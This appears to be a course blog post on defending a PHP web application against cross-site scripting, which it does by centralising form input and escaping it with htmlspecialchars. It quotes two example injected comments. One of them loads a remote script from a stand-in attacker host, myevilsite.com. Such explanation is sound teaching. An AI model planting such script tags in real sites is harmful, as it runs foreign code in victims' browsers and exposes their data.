## Introduction

I have already discussed SQL injection and implemented a basic defence in the Database class. This post looks at cross-site scripting (XSS), one of the main threats on the web.

## Untrusted inputs

The basic rule for security is that nothing that originates from the client, or runs on the client, can be trusted. In practice this means:

* The URI
* Cookies
* User input on forms
* JavaScript
* Session ID

Note that session data is stored on the server-side, but the session ID is stored in a URI or a cookie. Our design pattern won’t rely on Cookies or JavaScript, so the key risks will be SessionID and user data, either on the URI or from forms.

## What is XSS?

Imagine we have a system that allows the user to leave comments and we store the text the user enters in a database table. Assume an administrator can review the comments. What would happen if the user leaves the following comment?

Blah, Blah, Blah<script>alert(“XSS”);</script>

The browser would display “Blah, Blah, Blah” and silently execute the JavaScript between the script and end-script tags. Of course, this would just display an alert box with the wording XSS. The comment leaver needn’t be this kind! The JavaScript could be anything at all. Even worse, it’s running in the context of an administrator.

As an example, the JavaScript in the comment could be:

<script src=”http://myevilsite.com/hackit.js”></script>

The administrator is now running a JavaScript program, downloaded from the internet, without knowing it.

If you search around the internet you’ll find many people saying things like “JavaScript is sandboxed so it’s safe”. This way of thinking is not only naïve, but dangerous. Consider the following. Many organisations use a firewall to protect internal servers from the internet. However, this script is running in the browser – inside the firewall! It’s also running in an administrator context, and so may bypass a number of security checks. Moreover, JavaScript does **NOT** have a complete sandbox. It allows things like XML Http Requests (XHR) which are used for techniques like AJAX. The script can connect to an internal server, read data, and post it to an external server. All of this silently! Don’t let anyone tell you JavaScript is safe – it’s one of the top threats on the OWASP list.

## Defences against XSS

To defend your own machine against XSS, the best defence is to turn JavaScript off. I do this on my own machines. I have to enable it for some sites though, such as Moodle. The second level of defence is to create more than one user account. Create an account with minimal privileges and use that for Web Browsing. (My solution at home is to have a separate VM that I use for browsing).

However, this course is about server-side programming so we have to assume that the user has little security in place and probably doesn’t understand the issues. Our job is then to protect our users from other malicious users.

As always, our first defence measure is to limit the attack surface. Rather than having references to the $\_POST variable scattered throughout out code, we’ll put it in one place. My first change was to add a method **getInput**() to the **AbstractController** class, and change the code in **LoginController** to call this method rather than using $\_POST directly. My second change was to make a copy of the $\_POST variable in the constructor and then unset it. This guarantees I can’t forget to use getInput() and use $\_POST by accident. The net effect of these changes is that there is only one place in the entire place that needs to be defended against XSS from form inputs. Because I might want to defend against XSS in other things than user inputs (such as URI parameters), I’ve wrapped the defence in a function called **sanitise**.

At this stage, I’m just using the PHP function **htmlspecialchars** to translate characters like < and > to their equivalent html entities. This is a pretty good defence because then the browser will just display the script rather than running it. It’s not quite perfect though and the remaining vulnerability relates to character sets. I’d rather not discuss this yet, but the main point is that we’ve controlled the attack surface and implemented a pretty good defence. We can always harden it some more later.

I’ll leave the defence against URI parameters until we have a need for it.